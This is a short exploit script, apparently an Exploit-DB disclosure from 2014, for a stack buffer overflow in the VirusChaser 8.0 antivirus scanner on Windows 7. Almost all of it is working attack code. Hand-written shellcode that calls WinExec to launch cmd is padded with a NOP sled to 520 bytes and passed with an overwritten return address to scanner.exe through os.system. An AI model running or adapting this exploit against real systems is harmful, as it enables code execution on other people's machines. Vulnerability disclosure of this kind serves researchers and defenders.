# Exploit Title: VirusChaser 8.0 - Stack Buffer Overflow
# Date: 2014/03/26
# Exploit Author: wh1ant
# Vendor Homepage: https://www.viruschaser.com/
# Software Link: https://www.viruschaser.com/download/VC80b_32Setup.zip
# Version: 8.0
# Tested on: Windows 7 ultimate K
#
# You must have administrator permission to run

from struct import pack
import os

shellcode = "\x66\x83\xc4\x10"        # add esp, 0x10
shellcode += "\xb8\x50\x70\x50\x50"   # mov eax, 0x50507050
shellcode += "\xb9\x4e\x7d\x04\x27"   # mov ecx, 0x27047d4e
shellcode += "\x03\xc1"               # add eax, ecx  ; WinExec() address
shellcode += "\x68\x63\x6d\x64\x01"   # push 0x01646D63
shellcode += "\x66\xb9\x50\x50"       # add cx, 0x5050
shellcode += "\x66\x81\xc1\xb0\xaf"   # add cx, 0xafb0
shellcode += "\x88\x4c\x24\x03"       # mov [esp+3], cl
shellcode += "\x8b\xd4"               # mov edx, esp
shellcode += "\x66\x51"               # push cx
shellcode += "\x41"                   # inc cx
shellcode += "\x66\x51"               # push cx
shellcode += "\x52"                   # push edx
shellcode += "\x50"                   # push eax
shellcode += "\x50"                   # push eax
shellcode += "\xc3\x90"               # retn  ; WinExec()

# BOF retn: 0x0040753d

pay = shellcode
pay = pay.rjust(520, "\x90")
pay += "\x9c\xdb\x12"

os.system("C:\\\"Program Files\\VirusChaser\\scanner.exe\" \"" + pay + "\"")
